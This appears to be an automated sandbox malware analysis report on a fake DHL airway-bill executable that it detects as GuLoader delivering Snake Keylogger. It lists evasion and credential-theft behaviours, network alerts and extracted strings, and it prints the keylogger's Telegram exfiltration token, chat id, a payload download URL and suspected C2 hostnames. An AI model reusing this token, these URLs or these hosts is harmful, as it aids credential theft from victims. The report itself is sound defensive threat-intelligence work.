Edit tour

Windows Analysis Report
DHL AWB Document_pdf.exe

Overview

General Information

Sample name:	DHL AWB Document_pdf.exe
Analysis ID:	1617726
MD5:	0aeea57a56be2f86535e0809c6cd55d5
SHA1:	3f7e6a4ed823c699c6a18793ed8b18c97c620973
SHA256:	14b6341a024dfec538f97f5a3b11efbbc056863ea18eefe58822cd81e81ea09d
Tags:	DHLexeuser-abuse_ch
Infos:

Detection

GuLoader, Snake Keylogger

Score:	100
Range:	0 - 100
Confidence:	100%

Signatures

Found malware configuration

Multi AV Scanner detection for submitted file

Suricata IDS alerts for network traffic

Yara detected GuLoader

Yara detected Snake Keylogger

Yara detected Telegram RAT

Initial sample is a PE file and has a suspicious name

Joe Sandbox ML detected suspicious sample

Switches to a custom stack to bypass stack traces

Tries to detect the country of the analysis system (by using the IP)

Tries to detect virtualization through RDTSC time measurements

Tries to harvest and steal browser information (history, passwords, etc)

Tries to steal Mail credentials (via file / registry access)

Uses the Telegram API (likely for C&C communication)

Allocates memory with a write watch (potentially for evading sandboxes)

Contains functionality for read data from the clipboard

Contains functionality to dynamically determine API calls

Contains functionality to shutdown / reboot the system

Contains long sleeps (>= 3 min)

Creates a process in suspended mode (likely to inject code)

Creates files inside the system directory

Detected non-DNS traffic on DNS port

Detected potential crypto function

Drops PE files

Enables debug privileges

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

Found dropped PE file which has not been started or loaded

Found inlined nop instructions (likely shell or obfuscated code)

Found large amount of non-executed APIs

Found potential string decryption / allocating functions

HTTP GET or POST without a user agent

IP address seen in connection with other malware

JA3 SSL client fingerprint seen in connection with other malware

May check the online IP address of the machine

May sleep (evasive loops) to hinder dynamic analysis

Queries the volume information (name, serial number etc) of a device

Sample file is different than original file name gathered from version info

Suricata IDS alerts with low severity for network traffic

Uses 32bit PE files

Uses Microsoft's Enhanced Cryptographic Provider

Uses a known web browser user agent for HTTP communication

Uses code obfuscation techniques (call, push, ret)

Uses insecure TLS / SSL version for HTTPS connection

Yara detected Credential Stealer

Classification

Process Tree

System is w10x64

DHL AWB Document_pdf.exe (PID: 6132 cmdline: "C:\Users\user\Desktop\DHL AWB Document_pdf.exe" MD5: 0AEEA57A56BE2F86535E0809C6CD55D5)

DHL AWB Document_pdf.exe (PID: 7596 cmdline: "C:\Users\user\Desktop\DHL AWB Document_pdf.exe" MD5: 0AEEA57A56BE2F86535E0809C6CD55D5)

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
CloudEyE, GuLoader	CloudEyE (initially named GuLoader) is a small VB5/6 downloader. It typically downloads RATs/Stealers, such as Agent Tesla, Arkei/Vidar, Formbook, Lokibot, Netwire and Remcos, often but not always from Google Drive. The downloaded payload is xored.	No Attribution	http://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/bluebottle-banks-targeted-africa https://0x00sec.org/t/analyzing-modern-malware-techniques-part-3/18943 https://any.run/cybersecurity-blog/deobfuscating-guloader/ https://asec.ahnlab.com/en/55978/ https://blog.checkpoint.com/security/march-2023s-most-wanted-malware-new-emotet-campaign-bypasses-microsoft-blocks-to-distribute-malicious-onenote-files/	https://malpedia.caad.fkie.fraunhofer.de/details/win.cloudeye

Name	Description	Attribution	Blogpost URLs	Link
404 Keylogger, Snake Keylogger	Snake Keylogger (aka 404 Keylogger) is a subscription-based keylogger that has many capabilities. The infostealer can steal a victims sensitive information, log keyboard strokes, take screenshots and extract information from the system clipboard. It was initially released on a Russian hacking forum in August 2019. It is notable for its relatively unusual methods of data exfiltration, including via email, FTP, SMTP, Pastebin or the messaging app Telegram.	No Attribution	https://any.run/cybersecurity-blog/analyzing-snake-keylogger/ https://any.run/cybersecurity-blog/reverse-engineering-snake-keylogger/ https://blog.netlab.360.com/purecrypter https://blog.nviso.eu/2022/04/06/analyzing-a-multilayer-maldoc-a-beginners-guide/ https://blogs.blackberry.com/en/2022/05/dot-net-stubs-sowing-the-seeds-of-discord	https://malpedia.caad.fkie.fraunhofer.de/details/win.404keylogger

Malware Configuration

Threatname: Snake Keylogger

{"Exfil Mode": "Telegram", "Token": "8001354238:AAGn34Kjnx6tMx7mYU1z9kHME3Ora_fTuPc", "Chat_id": "5100996224", "Version": "4.4"}

Yara Signatures

Memory Dumps

Source	Rule	Description	Author
0000000A.00000002.2541928199.00000000337D1000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_SnakeKeylogger	Yara detected Snake Keylogger	Joe Security
00000002.00000002.1691361148.00000000054CC000.00000040.00001000.00020000.00000000.sdmp	JoeSecurity_GuLoader_2	Yara detected GuLoader	Joe Security
0000000A.00000002.2516246625.00000000017FC000.00000040.00000400.00020000.00000000.sdmp	JoeSecurity_GuLoader_2	Yara detected GuLoader	Joe Security
Process Memory Space: DHL AWB Document_pdf.exe PID: 6132	JoeSecurity_GuLoader_3	Yara detected GuLoader	Joe Security
Process Memory Space: DHL AWB Document_pdf.exe PID: 7596	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: DHL AWB Document_pdf.exe PID: 7596	JoeSecurity_TelegramRAT	Yara detected Telegram RAT	Joe Security
Click to see the 1 entries

Suricata Signatures

ETPRO MALWARE Common Downloader Header Pattern H

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-02-18T08:12:46.049174+0100	2803305	3	Unknown Traffic	192.168.2.7	63529	104.21.32.1	443	TCP
2025-02-18T08:12:49.373281+0100	2803305	3	Unknown Traffic	192.168.2.7	63533	104.21.32.1	443	TCP
2025-02-18T08:12:59.712061+0100	2803305	3	Unknown Traffic	192.168.2.7	63543	104.21.32.1	443	TCP

ETPRO MALWARE Common Downloader Header Pattern UH

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-02-18T08:12:44.056523+0100	2803274	2	Potentially Bad Traffic	192.168.2.7	63527	193.122.130.0	80	TCP
2025-02-18T08:12:45.462784+0100	2803274	2	Potentially Bad Traffic	192.168.2.7	63527	193.122.130.0	80	TCP
2025-02-18T08:12:46.603529+0100	2803274	2	Potentially Bad Traffic	192.168.2.7	63530	193.122.130.0	80	TCP

ETPRO MALWARE Common Downloader Header Pattern UHCa

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-02-18T08:12:38.250010+0100	2803270	2	Potentially Bad Traffic	192.168.2.7	63509	142.250.181.238	443	TCP

Joe Security ANOMALY Telegram Send Message

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-02-18T08:13:00.761974+0100	1810007	1	Potentially Bad Traffic	192.168.2.7	63544	149.154.167.220	443	TCP

HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.18.0Date: Tue, 18 Feb 2025 07:13:00 GMTContent-Type: application/jsonContent-Length: 55Connection: closeStrict-Transport-Security: max-age=31536000; includeSubDomains; preloadAccess-Control-Allow-Origin: *Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection

Source: DHL AWB Document_pdf.exe, 0000000A.00000002.2541928199.00000000337D1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://aborters.duckdns.org:8081
Source: DHL AWB Document_pdf.exe, 0000000A.00000002.2541928199.00000000337D1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anotherarmy.dns.army:8081
Source: DHL AWB Document_pdf.exe, 0000000A.00000002.2541928199.00000000337D1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://checkip.dyndns.org
Source: DHL AWB Document_pdf.exe, 0000000A.00000002.2541928199.00000000337D1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://checkip.dyndns.org/
Source: DHL AWB Document_pdf.exe	String found in binary or memory: http://nsis.sf.net/NSIS_Error
Source: DHL AWB Document_pdf.exe	String found in binary or memory: http://nsis.sf.net/NSIS_ErrorError
Source: DHL AWB Document_pdf.exe, 0000000A.00000002.2541928199.00000000337D1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name
Source: DHL AWB Document_pdf.exe, 0000000A.00000002.2541928199.00000000337D1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://varders.kozow.com:8081
Source: DHL AWB Document_pdf.exe, 0000000A.00000002.2543546223.0000000034AD9000.00000004.00000800.00020000.00000000.sdmp, DHL AWB Document_pdf.exe, 0000000A.00000002.2543546223.00000000347F1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ac.ecosia.org/autocomplete?q=
Source: DHL AWB Document_pdf.exe, 0000000A.00000002.2541928199.00000000338B5000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://api.telegram.org
Source: DHL AWB Document_pdf.exe, 0000000A.00000002.2541928199.00000000338B5000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://api.telegram.org/bot
Source: DHL AWB Document_pdf.exe, 0000000A.00000002.2541928199.00000000338B5000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://api.telegram.org/bot/sendMessage?chat_id=&text=
Source: DHL AWB Document_pdf.exe, 0000000A.00000002.2541928199.00000000338B5000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://api.telegram.org/bot/sendMessage?chat_id=&text=%20%0D%0A%0D%0APC%20Name:138727%0D%0ADate%20a
Source: DHL AWB Document_pdf.exe, 0000000A.00000003.1822955353.000000000326A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://apis.google.com
Source: DHL AWB Document_pdf.exe, 0000000A.00000002.2543546223.0000000034AD9000.00000004.00000800.00020000.00000000.sdmp, DHL AWB Document_pdf.exe, 0000000A.00000002.2543546223.00000000347F1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=
Source: DHL AWB Document_pdf.exe, 0000000A.00000002.2543546223.0000000034AD9000.00000004.00000800.00020000.00000000.sdmp, DHL AWB Document_pdf.exe, 0000000A.00000002.2543546223.00000000347F1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search
Source: DHL AWB Document_pdf.exe, 0000000A.00000002.2543546223.0000000034AD9000.00000004.00000800.00020000.00000000.sdmp, DHL AWB Document_pdf.exe, 0000000A.00000002.2543546223.00000000347F1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=
Source: DHL AWB Document_pdf.exe, 0000000A.00000002.2541928199.0000000033949000.00000004.00000800.00020000.00000000.sdmp, DHL AWB Document_pdf.exe, 0000000A.00000002.2541928199.000000003397B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://chrome.google.com/webstore?hl=en
Source: DHL AWB Document_pdf.exe, 0000000A.00000002.2541928199.0000000033949000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://chrome.google.com/webstore?hl=en4
Source: DHL AWB Document_pdf.exe, 0000000A.00000002.2541928199.0000000033944000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://chrome.google.com/webstore?hl=enlB
Source: DHL AWB Document_pdf.exe, 0000000A.00000002.2521510426.00000000031F8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://drive.google.com//
Source: DHL AWB Document_pdf.exe, 0000000A.00000002.2521510426.00000000031F8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://drive.google.com/o
Source: DHL AWB Document_pdf.exe, 0000000A.00000002.2521510426.0000000003234000.00000004.00000020.00020000.00000000.sdmp, DHL AWB Document_pdf.exe, 0000000A.00000002.2522049360.0000000004D90000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://drive.google.com/uc?export=download&id=1AAtDYcpiCJUWS_00KJgcwM4r726KOrMI
Source: DHL AWB Document_pdf.exe, 0000000A.00000003.1855069146.000000000326A000.00000004.00000020.00020000.00000000.sdmp, DHL AWB Document_pdf.exe, 0000000A.00000003.1829617121.000000000326A000.00000004.00000020.00020000.00000000.sdmp, DHL AWB Document_pdf.exe, 0000000A.00000002.2521510426.0000000003260000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://drive.usercontent.google.com/
Source: DHL AWB Document_pdf.exe, 0000000A.00000002.2521510426.00000000031F8000.00000004.00000020.00020000.00000000.sdmp, DHL AWB Document_pdf.exe, 0000000A.00000003.1822955353.000000000326A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://drive.usercontent.google.com/download?id=1AAtDYcpiCJUWS_00KJgcwM4r726KOrMI&export=download
Source: DHL AWB Document_pdf.exe, 0000000A.00000002.2521510426.00000000031F8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://drive.usercontent.google.com/download?id=1AAtDYcpiCJUWS_00KJgcwM4r726KOrMI&export=downloadn~
Source: DHL AWB Document_pdf.exe, 0000000A.00000002.2543546223.0000000034AD9000.00000004.00000800.00020000.00000000.sdmp, DHL AWB Document_pdf.exe, 0000000A.00000002.2543546223.00000000347F1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/ac/?q=
Source: DHL AWB Document_pdf.exe, 0000000A.00000002.2543546223.0000000034AD9000.00000004.00000800.00020000.00000000.sdmp, DHL AWB Document_pdf.exe, 0000000A.00000002.2543546223.00000000347F1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/chrome_newtab
Source: DHL AWB Document_pdf.exe, 0000000A.00000002.2543546223.0000000034AD9000.00000004.00000800.00020000.00000000.sdmp, DHL AWB Document_pdf.exe, 0000000A.00000002.2543546223.00000000347F1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=
Source: DHL AWB Document_pdf.exe, 0000000A.00000002.2541928199.000000003381D000.00000004.00000800.00020000.00000000.sdmp, DHL AWB Document_pdf.exe, 0000000A.00000002.2541928199.000000003388D000.00000004.00000800.00020000.00000000.sdmp, DHL AWB Document_pdf.exe, 0000000A.00000002.2541928199.00000000338B5000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://reallyfreegeoip.org
Source: DHL AWB Document_pdf.exe, 0000000A.00000002.2541928199.000000003381D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://reallyfreegeoip.org/xml/
Source: DHL AWB Document_pdf.exe, 0000000A.00000002.2541928199.00000000338B5000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://reallyfreegeoip.org/xml/8.46.123.189
Source: DHL AWB Document_pdf.exe, 0000000A.00000002.2541928199.000000003388D000.00000004.00000800.00020000.00000000.sdmp, DHL AWB Document_pdf.exe, 0000000A.00000002.2541928199.0000000033847000.00000004.00000800.00020000.00000000.sdmp, DHL AWB Document_pdf.exe, 0000000A.00000002.2541928199.00000000338B5000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://reallyfreegeoip.org/xml/8.46.123.189$
Source: DHL AWB Document_pdf.exe, 0000000A.00000003.1822955353.000000000326A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://ssl.gstatic.com
Source: DHL AWB Document_pdf.exe, 0000000A.00000002.2543546223.0000000034AD9000.00000004.00000800.00020000.00000000.sdmp, DHL AWB Document_pdf.exe, 0000000A.00000002.2543546223.00000000347F1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.ecosia.org/newtab/
Source: DHL AWB Document_pdf.exe, 0000000A.00000003.1822955353.000000000326A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.google-analytics.com;report-uri
Source: DHL AWB Document_pdf.exe, 0000000A.00000003.1822955353.000000000326A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com
Source: DHL AWB Document_pdf.exe, 0000000A.00000002.2543546223.0000000034AD9000.00000004.00000800.00020000.00000000.sdmp, DHL AWB Document_pdf.exe, 0000000A.00000002.2543546223.00000000347F1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/images/branding/product/ico/googleg_lodp.ico
Source: DHL AWB Document_pdf.exe, 0000000A.00000003.1822955353.000000000326A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.googletagmanager.com
Source: DHL AWB Document_pdf.exe, 0000000A.00000003.1822955353.000000000326A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.gstatic.com
Source: DHL AWB Document_pdf.exe, 0000000A.00000002.2541928199.000000003397B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.office.com/
Source: DHL AWB Document_pdf.exe, 0000000A.00000002.2541928199.000000003397B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.office.com/4
Source: DHL AWB Document_pdf.exe, 0000000A.00000002.2541928199.0000000033976000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.office.com/lB

Source: unknown	Network traffic detected: HTTP traffic on port 63537 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 63539 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 63535 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 63531 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 63533 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 63528
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 63529
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 63509
Source: unknown	Network traffic detected: HTTP traffic on port 63544 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 63541
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 63544
Source: unknown	Network traffic detected: HTTP traffic on port 63529 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 63543
Source: unknown	Network traffic detected: HTTP traffic on port 63517 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 63537
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 63517
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 63539
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 63531
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 63533
Source: unknown	Network traffic detected: HTTP traffic on port 63528 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 63535
Source: unknown	Network traffic detected: HTTP traffic on port 63543 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 63509 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 63541 -> 443

Source: unknown	HTTPS traffic detected: 142.250.181.238:443 -> 192.168.2.7:63509 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.186.129:443 -> 192.168.2.7:63517 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 149.154.167.220:443 -> 192.168.2.7:63544 version: TLS 1.2

Source: C:\Users\user\Desktop\DHL AWB Document_pdf.exe

Code function: 2_2_00405050 GetDlgItem,GetDlgItem,GetDlgItem,GetDlgItem,GetClientRect,GetSystemMetrics,SendMessageA,SendMessageA,SendMessageA,SendMessageA,SendMessageA,SendMessageA,ShowWindow,ShowWindow,GetDlgItem,SendMessageA,SendMessageA,SendMessageA,GetDlgItem,CreateThread,CloseHandle,ShowWindow,ShowWindow,ShowWindow,SendMessageA,CreatePopupMenu,AppendMenuA,GetWindowRect,TrackPopupMenu,SendMessageA,OpenClipboard,EmptyClipboard,GlobalAlloc,GlobalLock,SendMessageA,GlobalUnlock,SetClipboardData,CloseClipboard,

2_2_00405050

System Summary

Initial sample is a PE file and has a suspicious name

Source: initial sample

Static PE information: Filename: DHL AWB Document_pdf.exe

Source: C:\Users\user\Desktop\DHL AWB Document_pdf.exe	Code function: 2_2_004030D9 EntryPoint,SetErrorMode,GetVersion,lstrlenA,#17,OleInitialize,SHGetFileInfoA,GetCommandLineA,GetModuleHandleA,CharNextA,GetTempPathA,GetTempPathA,GetWindowsDirectoryA,lstrcatA,GetTempPathA,lstrcatA,SetEnvironmentVariableA,SetEnvironmentVariableA,SetEnvironmentVariableA,DeleteFileA,OleUninitialize,ExitProcess,lstrcatA,lstrcatA,lstrcatA,lstrcmpiA,SetCurrentDirectoryA,DeleteFileA,CopyFileA,CloseHandle,GetCurrentProcess,OpenProcessToken,LookupPrivilegeValueA,AdjustTokenPrivileges,ExitWindowsEx,ExitProcess,		2_2_004030D9
Source: C:\Users\user\Desktop\DHL AWB Document_pdf.exe	Code function: 10_2_004030D9 EntryPoint,SetErrorMode,GetVersion,lstrlenA,#17,OleInitialize,SHGetFileInfoA,GetCommandLineA,GetModuleHandleA,CharNextA,GetTempPathA,GetTempPathA,GetWindowsDirectoryA,lstrcatA,GetTempPathA,lstrcatA,SetEnvironmentVariableA,SetEnvironmentVariableA,SetEnvironmentVariableA,DeleteFileA,OleUninitialize,ExitProcess,lstrcatA,lstrcatA,lstrcatA,lstrcmpiA,SetCurrentDirectoryA,DeleteFileA,CopyFileA,CloseHandle,GetCurrentProcess,OpenProcessToken,LookupPrivilegeValueA,AdjustTokenPrivileges,ExitWindowsEx,ExitProcess,		10_2_004030D9

Source: C:\Users\user\Desktop\DHL AWB Document_pdf.exe

File created: C:\Windows\resources\0809

Jump to behavior

Source: C:\Users\user\Desktop\DHL AWB Document_pdf.exe	Code function: 2_2_00406344	2_2_00406344
Source: C:\Users\user\Desktop\DHL AWB Document_pdf.exe	Code function: 2_2_0040488F	2_2_0040488F
Source: C:\Users\user\Desktop\DHL AWB Document_pdf.exe	Code function: 10_2_00406344	10_2_00406344
Source: C:\Users\user\Desktop\DHL AWB Document_pdf.exe	Code function: 10_2_0040488F	10_2_0040488F
Source: C:\Users\user\Desktop\DHL AWB Document_pdf.exe	Code function: 10_2_03075370	10_2_03075370
Source: C:\Users\user\Desktop\DHL AWB Document_pdf.exe	Code function: 10_2_0307D278	10_2_0307D278
Source: C:\Users\user\Desktop\DHL AWB Document_pdf.exe	Code function: 10_2_0307C147	10_2_0307C147
Source: C:\Users\user\Desktop\DHL AWB Document_pdf.exe	Code function: 10_2_0307A088	10_2_0307A088
Source: C:\Users\user\Desktop\DHL AWB Document_pdf.exe	Code function: 10_2_0307C738	10_2_0307C738
Source: C:\Users\user\Desktop\DHL AWB Document_pdf.exe	Code function: 10_2_030776F1	10_2_030776F1
Source: C:\Users\user\Desktop\DHL AWB Document_pdf.exe	Code function: 10_2_0307D548	10_2_0307D548
Source: C:\Users\user\Desktop\DHL AWB Document_pdf.exe	Code function: 10_2_0307C468	10_2_0307C468
Source: C:\Users\user\Desktop\DHL AWB Document_pdf.exe	Code function: 10_2_03076498	10_2_03076498
Source: C:\Users\user\Desktop\DHL AWB Document_pdf.exe	Code function: 10_2_0307CA08	10_2_0307CA08
Source: C:\Users\user\Desktop\DHL AWB Document_pdf.exe	Code function: 10_2_0307E988	10_2_0307E988
Source: C:\Users\user\Desktop\DHL AWB Document_pdf.exe	Code function: 10_2_0307CFAA	10_2_0307CFAA
Source: C:\Users\user\Desktop\DHL AWB Document_pdf.exe	Code function: 10_2_03076FC8	10_2_03076FC8
Source: C:\Users\user\Desktop\DHL AWB Document_pdf.exe	Code function: 10_2_03073E09	10_2_03073E09
Source: C:\Users\user\Desktop\DHL AWB Document_pdf.exe	Code function: 10_2_0307CCD8	10_2_0307CCD8
Source: C:\Users\user\Desktop\DHL AWB Document_pdf.exe	Code function: 10_2_0307B0B8	10_2_0307B0B8
Source: C:\Users\user\Desktop\DHL AWB Document_pdf.exe	Code function: 10_2_0307F961	10_2_0307F961
Source: C:\Users\user\Desktop\DHL AWB Document_pdf.exe	Code function: 10_2_0307E97A	10_2_0307E97A
Source: C:\Users\user\Desktop\DHL AWB Document_pdf.exe	Code function: 10_2_030729E0	10_2_030729E0
Source: C:\Users\user\Desktop\DHL AWB Document_pdf.exe	Code function: 10_2_36902A90	10_2_36902A90
Source: C:\Users\user\Desktop\DHL AWB Document_pdf.exe	Code function: 10_2_36909668	10_2_36909668
Source: C:\Users\user\Desktop\DHL AWB Document_pdf.exe	Code function: 10_2_36901FA8	10_2_36901FA8
Source: C:\Users\user\Desktop\DHL AWB Document_pdf.exe	Code function: 10_2_3690E0B0	10_2_3690E0B0
Source: C:\Users\user\Desktop\DHL AWB Document_pdf.exe	Code function: 10_2_36901850	10_2_36901850
Source: C:\Users\user\Desktop\DHL AWB Document_pdf.exe	Code function: 10_2_36905148	10_2_36905148
Source: C:\Users\user\Desktop\DHL AWB Document_pdf.exe	Code function: 10_2_3690F288	10_2_3690F288
Source: C:\Users\user\Desktop\DHL AWB Document_pdf.exe	Code function: 10_2_3690D2D0	10_2_3690D2D0
Source: C:\Users\user\Desktop\DHL AWB Document_pdf.exe	Code function: 10_2_3690F6D9	10_2_3690F6D9
Source: C:\Users\user\Desktop\DHL AWB Document_pdf.exe	Code function: 10_2_3690D2DF	10_2_3690D2DF
Source: C:\Users\user\Desktop\DHL AWB Document_pdf.exe	Code function: 10_2_3690D2E0	10_2_3690D2E0
Source: C:\Users\user\Desktop\DHL AWB Document_pdf.exe	Code function: 10_2_3690F6E0	10_2_3690F6E0
Source: C:\Users\user\Desktop\DHL AWB Document_pdf.exe	Code function: 10_2_3690EE30	10_2_3690EE30
Source: C:\Users\user\Desktop\DHL AWB Document_pdf.exe	Code function: 10_2_3690EE2B	10_2_3690EE2B
Source: C:\Users\user\Desktop\DHL AWB Document_pdf.exe	Code function: 10_2_3690965B	10_2_3690965B
Source: C:\Users\user\Desktop\DHL AWB Document_pdf.exe	Code function: 10_2_3690F278	10_2_3690F278
Source: C:\Users\user\Desktop\DHL AWB Document_pdf.exe	Code function: 10_2_36901FA2	10_2_36901FA2
Source: C:\Users\user\Desktop\DHL AWB Document_pdf.exe	Code function: 10_2_3690D7D3	10_2_3690D7D3
Source: C:\Users\user\Desktop\DHL AWB Document_pdf.exe	Code function: 10_2_3690D7D8	10_2_3690D7D8
Source: C:\Users\user\Desktop\DHL AWB Document_pdf.exe	Code function: 10_2_36900B30	10_2_36900B30
Source: C:\Users\user\Desktop\DHL AWB Document_pdf.exe	Code function: 10_2_36900B20	10_2_36900B20
Source: C:\Users\user\Desktop\DHL AWB Document_pdf.exe	Code function: 10_2_36908CB1	10_2_36908CB1
Source: C:\Users\user\Desktop\DHL AWB Document_pdf.exe	Code function: 10_2_3690E0A5	10_2_3690E0A5
Source: C:\Users\user\Desktop\DHL AWB Document_pdf.exe	Code function: 10_2_36908CC0	10_2_36908CC0
Source: C:\Users\user\Desktop\DHL AWB Document_pdf.exe	Code function: 10_2_36900012	10_2_36900012
Source: C:\Users\user\Desktop\DHL AWB Document_pdf.exe	Code function: 10_2_3690DC30	10_2_3690DC30
Source: C:\Users\user\Desktop\DHL AWB Document_pdf.exe	Code function: 10_2_3690003F	10_2_3690003F
Source: C:\Users\user\Desktop\DHL AWB Document_pdf.exe	Code function: 10_2_3690DC23	10_2_3690DC23
Source: C:\Users\user\Desktop\DHL AWB Document_pdf.exe	Code function: 10_2_36900040	10_2_36900040
Source: C:\Users\user\Desktop\DHL AWB Document_pdf.exe	Code function: 10_2_36901841	10_2_36901841
Source: C:\Users\user\Desktop\DHL AWB Document_pdf.exe	Code function: 10_2_36909D90	10_2_36909D90
Source: C:\Users\user\Desktop\DHL AWB Document_pdf.exe	Code function: 10_2_36909D83	10_2_36909D83
Source: C:\Users\user\Desktop\DHL AWB Document_pdf.exe	Code function: 10_2_3690E9B0	10_2_3690E9B0
Source: C:\Users\user\Desktop\DHL AWB Document_pdf.exe	Code function: 10_2_3690E9A1	10_2_3690E9A1
Source: C:\Users\user\Desktop\DHL AWB Document_pdf.exe	Code function: 10_2_3690CDE8	10_2_3690CDE8
Source: C:\Users\user\Desktop\DHL AWB Document_pdf.exe	Code function: 10_2_36905138	10_2_36905138
Source: C:\Users\user\Desktop\DHL AWB Document_pdf.exe	Code function: 10_2_3690E558	10_2_3690E558
Source: C:\Users\user\Desktop\DHL AWB Document_pdf.exe	Code function: 10_2_3690E548	10_2_3690E548
Source: C:\Users\user\Desktop\DHL AWB Document_pdf.exe	Code function: 10_2_36AF0698	10_2_36AF0698
Source: C:\Users\user\Desktop\DHL AWB Document_pdf.exe	Code function: 10_2_36AF1478	10_2_36AF1478
Source: C:\Users\user\Desktop\DHL AWB Document_pdf.exe	Code function: 10_2_36AF0040	10_2_36AF0040
Source: C:\Users\user\Desktop\DHL AWB Document_pdf.exe	Code function: 10_2_36AFE850	10_2_36AFE850
Source: C:\Users\user\Desktop\DHL AWB Document_pdf.exe	Code function: 10_2_36AFE1B0	10_2_36AFE1B0
Source: C:\Users\user\Desktop\DHL AWB Document_pdf.exe	Code function: 10_2_36AFA528	10_2_36AFA528
Source: C:\Users\user\Desktop\DHL AWB Document_pdf.exe	Code function: 10_2_36AF4EAD	10_2_36AF4EAD
Source: C:\Users\user\Desktop\DHL AWB Document_pdf.exe	Code function: 10_2_36AFF2A8	10_2_36AFF2A8
Source: C:\Users\user\Desktop\DHL AWB Document_pdf.exe	Code function: 10_2_36AF6EA0	10_2_36AF6EA0
Source: C:\Users\user\Desktop\DHL AWB Document_pdf.exe	Code function: 10_2_36AF4EB0	10_2_36AF4EB0
Source: C:\Users\user\Desktop\DHL AWB Document_pdf.exe	Code function: 10_2_36AF6E9B	10_2_36AF6E9B
Source: C:\Users\user\Desktop\DHL AWB Document_pdf.exe	Code function: 10_2_36AFF298	10_2_36AFF298
Source: C:\Users\user\Desktop\DHL AWB Document_pdf.exe	Code function: 10_2_36AF0693	10_2_36AF0693
Source: C:\Users\user\Desktop\DHL AWB Document_pdf.exe	Code function: 10_2_36AF8E90	10_2_36AF8E90
